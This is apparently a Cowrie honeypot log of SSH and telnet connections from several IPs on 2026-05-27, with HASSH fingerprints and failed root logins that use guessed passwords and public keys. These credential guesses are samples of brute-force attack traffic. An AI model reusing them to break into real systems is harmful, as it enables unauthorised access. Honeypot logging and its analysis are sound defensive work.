{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:12:38.344559Z","src_ip":"103.27.238.120","session":"9ce379e540f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12101986","message":"login attempt [root/12101986] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:12:38.978494Z","src_ip":"103.27.238.116","session":"b2c3fce76c8c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"sardor","message":"login attempt [root/sardor] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:12:39.151943Z","src_ip":"103.27.238.120","session":"9ce379e540f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:12:40.249280Z","src_ip":"103.27.238.116","session":"b2c3fce76c8c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:12:40.422769Z","src_ip":"103.27.238.120","session":"9ce379e540f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":33282,"dst_ip":"10.17.0.5","dst_port":22,"session":"eeda4aff6169","protocol":"ssh","message":"New connection: 87.251.79.125:33282 (10.17.0.5:22) [session: eeda4aff6169]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:12:46.637413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:12:46.641277Z","src_ip":"87.251.79.125","session":"eeda4aff6169","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:12:46.713260Z","src_ip":"87.251.79.125","session":"eeda4aff6169","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"snowboard","message":"login attempt [root/snowboard] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:12:46.930927Z","src_ip":"87.251.79.125","session":"eeda4aff6169","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:12:48.007635Z","src_ip":"87.251.79.125","session":"eeda4aff6169","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.98.149.87","src_port":38020,"dst_ip":"10.17.0.5","dst_port":22,"session":"1e4b311d0f8b","protocol":"ssh","message":"New connection: 103.98.149.87:38020 (10.17.0.5:22) [session: 1e4b311d0f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:13:02.923941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:13:03.005510Z","src_ip":"103.98.149.87","session":"1e4b311d0f8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:13:03.242526Z","src_ip":"103.98.149.87","session":"1e4b311d0f8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qweszxc","message":"login attempt [root/qweszxc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:13:04.276379Z","src_ip":"103.98.149.87","session":"1e4b311d0f8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:13:05.884658Z","src_ip":"103.98.149.87","session":"1e4b311d0f8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.60.238.238","src_port":43488,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e58ff5065d6","protocol":"telnet","message":"New connection: 41.60.238.238:43488 (10.17.0.5:23) [session: 6e58ff5065d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:13:24.071514Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":13048,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe11f169d648","protocol":"ssh","message":"New connection: 194.59.206.2:13048 (10.17.0.5:22) [session: fe11f169d648]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:13:24.600317Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:13:24.605149Z","src_ip":"194.59.206.2","session":"fe11f169d648","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:13:24.691044Z","src_ip":"194.59.206.2","session":"fe11f169d648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:13:24.781020Z","src_ip":"194.59.206.2","session":"fe11f169d648","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.79777979850769,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:13:36.869195Z","src_ip":"41.60.238.238","session":"6e58ff5065d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"172.93.103.2","src_port":50134,"dst_ip":"10.17.0.5","dst_port":22,"session":"be9d7292ab82","protocol":"ssh","message":"New connection: 172.93.103.2:50134 (10.17.0.5:22) [session: be9d7292ab82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:14:48.999781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:14:49.004918Z","src_ip":"172.93.103.2","session":"be9d7292ab82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:14:49.026028Z","src_ip":"172.93.103.2","session":"be9d7292ab82","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"13:8d:cc:ba:bb:62:f2:ef:f7:80:ae:c2:80:96:5b:cd","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJZQ27uHcEheaTEawFTUtFQNSm8FW2TtV1qzVVrLgwAX1UIAFnZk5le3ulFpH8fWPkMQ0dNTpmKRh1Yx2oz8iaFCFToE44shBuPJVU434CowuOOj7Jw6YLY1VQ9FGwmjALDoyAw2Th68iRkhNW+8cnxYFe7iPgJZomLg7USARCWDAAAAFQDabBSIPGMeWHAHS1Z0DRyxT/tDHwAAAIB9lNXE7XOk462qYIsRKX/ZzfuSFpgDhsI5x2HaFfaAJN2Lntjg+GUl7nL2spaBmzuTWdv/lnnECigA7w+dDmEibX89+W9duZxcH+SO12MaR2FOjsAfeRbS6MvZgaJByjgKKaDMQY/gyJGKhLZ2LE1ScCm1AlMsTl1uzvheXOPbcAAAAIA+Gz7/CBymRrFMrMxrNGzU0YK7mfgINSelJ9Lph8tJrwv0N+MBeqS2f1Sf68l4ZqDsMWrPMR7H3JJwhf52FgmpD8/qGGMqlBYmKziTPO6giMoBgEvNcht4Pzaaz+QGKg11DkpPWNSH4KVE5p8Bzc3aQuyuCqPC9de/G8w+cHU2rg==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 13:8d:cc:ba:bb:62:f2:ef:f7:80:ae:c2:80:96:5b:cd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:14:49.045564Z","src_ip":"172.93.103.2","session":"be9d7292ab82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"13:8d:cc:ba:bb:62:f2:ef:f7:80:ae:c2:80:96:5b:cd","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAJZQ27uHcEheaTEawFTUtFQNSm8FW2TtV1qzVVrLgwAX1UIAFnZk5le3ulFpH8fWPkMQ0dNTpmKRh1Yx2oz8iaFCFToE44shBuPJVU434CowuOOj7Jw6YLY1VQ9FGwmjALDoyAw2Th68iRkhNW+8cnxYFe7iPgJZomLg7USARCWDAAAAFQDabBSIPGMeWHAHS1Z0DRyxT/tDHwAAAIB9lNXE7XOk462qYIsRKX/ZzfuSFpgDhsI5x2HaFfaAJN2Lntjg+GUl7nL2spaBmzuTWdv/lnnECigA7w+dDmEibX89+W9duZxcH+SO12MaR2FOjsAfeRbS6MvZgaJByjgKKaDMQY/gyJGKhLZ2LE1ScCm1AlMsTl1uzvheXOPbcAAAAIA+Gz7/CBymRrFMrMxrNGzU0YK7mfgINSelJ9Lph8tJrwv0N+MBeqS2f1Sf68l4ZqDsMWrPMR7H3JJwhf52FgmpD8/qGGMqlBYmKziTPO6giMoBgEvNcht4Pzaaz+QGKg11DkpPWNSH4KVE5p8Bzc3aQuyuCqPC9de/G8w+cHU2rg==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:14:49.049693Z","src_ip":"172.93.103.2","session":"be9d7292ab82","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dd:45:6e:e7:58:41:67:8b:13:c2:36:85:51:b3:dc:79","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPNCxAPUZPmUsVWksW1hLB3y7t0i6r7TBMQNnYqiu/VgUHp3Gc5eM45jXjvuKj2VZJovyyt8StgHUneRCmo3lXZqGTDL4OQKCHbWMF2IfgnHcAe74H9yzCFL46B0ZgxXEgn3hJJWxQgca5rlaHBywmGpDbaIMxvcbyAFMDAzZ9FBAAAAFQDC5Bpl8otXw7xg5I2MgT5Sx9MekQAAAIBxsgTPMQUiTp2sRv4pDzqyH2O1durb+O/YR5qip8v9BQf3AVezfh2PYMNRmCPy5XjEVTuYZQKOgLHzMYcMFlolQp9nvajAwsy0m5vIr0YtO2ntyfYVbfY763+vB9l1DvjHeEiIjZdjtF6IcgI1MW7l5nBtG5QWTVi5Wkzs/G82UAAAAIEAmwb5O1e+l0pLfQ2ZFq2IhccbCHXQ1KlbvONIVVvIDEQywF4N9AC4zLkaTGE2fFVLlXzIfl8nx/3a0/Jq/LeUKGgPl77RPVq40BUCREwmPMHeSZn495IV9ajFf0x/SUzhI6w1lAPqWeUqBlWn9LjzAdhtyvz8picnH6R0VZK/pJo=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint dd:45:6e:e7:58:41:67:8b:13:c2:36:85:51:b3:dc:79","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:14:49.060168Z","src_ip":"172.93.103.2","session":"be9d7292ab82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dd:45:6e:e7:58:41:67:8b:13:c2:36:85:51:b3:dc:79","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAPNCxAPUZPmUsVWksW1hLB3y7t0i6r7TBMQNnYqiu/VgUHp3Gc5eM45jXjvuKj2VZJovyyt8StgHUneRCmo3lXZqGTDL4OQKCHbWMF2IfgnHcAe74H9yzCFL46B0ZgxXEgn3hJJWxQgca5rlaHBywmGpDbaIMxvcbyAFMDAzZ9FBAAAAFQDC5Bpl8otXw7xg5I2MgT5Sx9MekQAAAIBxsgTPMQUiTp2sRv4pDzqyH2O1durb+O/YR5qip8v9BQf3AVezfh2PYMNRmCPy5XjEVTuYZQKOgLHzMYcMFlolQp9nvajAwsy0m5vIr0YtO2ntyfYVbfY763+vB9l1DvjHeEiIjZdjtF6IcgI1MW7l5nBtG5QWTVi5Wkzs/G82UAAAAIEAmwb5O1e+l0pLfQ2ZFq2IhccbCHXQ1KlbvONIVVvIDEQywF4N9AC4zLkaTGE2fFVLlXzIfl8nx/3a0/Jq/LeUKGgPl77RPVq40BUCREwmPMHeSZn495IV9ajFf0x/SUzhI6w1lAPqWeUqBlWn9LjzAdhtyvz8picnH6R0VZK/pJo=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:14:49.065000Z","src_ip":"172.93.103.2","session":"be9d7292ab82","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"66:e1:ae:b0:85:79:ef:98:fe:02:51:e0:b7:16:bd:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3akLuSVaLb5YTJ9tGePmoT2q8xDoaBhbg4SY22SYYuR9Ry2NEXgs1EavVJz6OHOYIrXN+Fixkj9HGcT+nnudkddCgMm4UM2o8k62o3INLkdNB/AfwjyRN9VY3/V2VAw/abti/BqY322dHLBcKlVPYMpSjrgQlAzhhfs98GIg0Ug6MPCwyX5pDMIERJQEMxDs12BE3aNwWAaAihB/WrExHmHJfW8NVP2WhWNKydHuUBYzElr6vu9oSf9SBKP+/nuKESYGwQBRUZsoMGr0PxOsKnXVGfAzD3d1zoYcNy0wmD3nrsUJ+pi6FEzvjXqevM2G5pVMtYAny7pEjnai8bh5Src1uj2Pm6W6J/e3NiR63gM0K9f3Ht5k0uqPEJ/N8z5CQZFNkhObH/u/hIyr3egXEPUbp2SMuRvOtSfx8zdI6kOBcTMEX6yBlpT4dpdxM/Vs4FiPzuAOix4kNxNqyVNTfATiIVqmd2iSiwo/nIiTpc6niCQjmspqkoMeH42oj+hU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 66:e1:ae:b0:85:79:ef:98:fe:02:51:e0:b7:16:bd:3f","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:14:49.075919Z","src_ip":"172.93.103.2","session":"be9d7292ab82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"66:e1:ae:b0:85:79:ef:98:fe:02:51:e0:b7:16:bd:3f","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC3akLuSVaLb5YTJ9tGePmoT2q8xDoaBhbg4SY22SYYuR9Ry2NEXgs1EavVJz6OHOYIrXN+Fixkj9HGcT+nnudkddCgMm4UM2o8k62o3INLkdNB/AfwjyRN9VY3/V2VAw/abti/BqY322dHLBcKlVPYMpSjrgQlAzhhfs98GIg0Ug6MPCwyX5pDMIERJQEMxDs12BE3aNwWAaAihB/WrExHmHJfW8NVP2WhWNKydHuUBYzElr6vu9oSf9SBKP+/nuKESYGwQBRUZsoMGr0PxOsKnXVGfAzD3d1zoYcNy0wmD3nrsUJ+pi6FEzvjXqevM2G5pVMtYAny7pEjnai8bh5Src1uj2Pm6W6J/e3NiR63gM0K9f3Ht5k0uqPEJ/N8z5CQZFNkhObH/u/hIyr3egXEPUbp2SMuRvOtSfx8zdI6kOBcTMEX6yBlpT4dpdxM/Vs4FiPzuAOix4kNxNqyVNTfATiIVqmd2iSiwo/nIiTpc6niCQjmspqkoMeH42oj+hU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:14:49.080565Z","src_ip":"172.93.103.2","session":"be9d7292ab82","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:f8:71:3a:1b:57:74:8d:54:3e:8b:36:f8:49:db:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhREButWOx8rDMlSy4knQ8fH7SkKFvoeY/udobdr8Eu76+NjT6CRxTZiEEQUH59zEuulBkDjZXpD0mpqrWteEu8dgp0Wd2DN/5upEXZvcaJRzEjN29l+gtTpoYehX+nTJSgD7ZDRuRO0F7LPEzOqTOVSgrWX2TyxzY7gG32qOOaUHqpm2+IQOrbgIKFOWD+xLj+uXHcnJkZs9e24bUiW3nPkPsIzyk3/n4keTznC6SSQF+06Az8mq68IH8CfQC4Zx2sMq9vQo4ZqD/wV6fRULpk6jD+kT40JEvSOOjI74IrzknwkvZZbSUlXPaHpMEjf1HouOBmdsG8971DeWG1o5H","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:f8:71:3a:1b:57:74:8d:54:3e:8b:36:f8:49:db:83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:14:49.091991Z","src_ip":"172.93.103.2","session":"be9d7292ab82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:f8:71:3a:1b:57:74:8d:54:3e:8b:36:f8:49:db:83","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDhREButWOx8rDMlSy4knQ8fH7SkKFvoeY/udobdr8Eu76+NjT6CRxTZiEEQUH59zEuulBkDjZXpD0mpqrWteEu8dgp0Wd2DN/5upEXZvcaJRzEjN29l+gtTpoYehX+nTJSgD7ZDRuRO0F7LPEzOqTOVSgrWX2TyxzY7gG32qOOaUHqpm2+IQOrbgIKFOWD+xLj+uXHcnJkZs9e24bUiW3nPkPsIzyk3/n4keTznC6SSQF+06Az8mq68IH8CfQC4Zx2sMq9vQo4ZqD/wV6fRULpk6jD+kT40JEvSOOjI74IrzknwkvZZbSUlXPaHpMEjf1HouOBmdsG8971DeWG1o5H","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:14:49.095910Z","src_ip":"172.93.103.2","session":"be9d7292ab82","protocol":"ssh"}
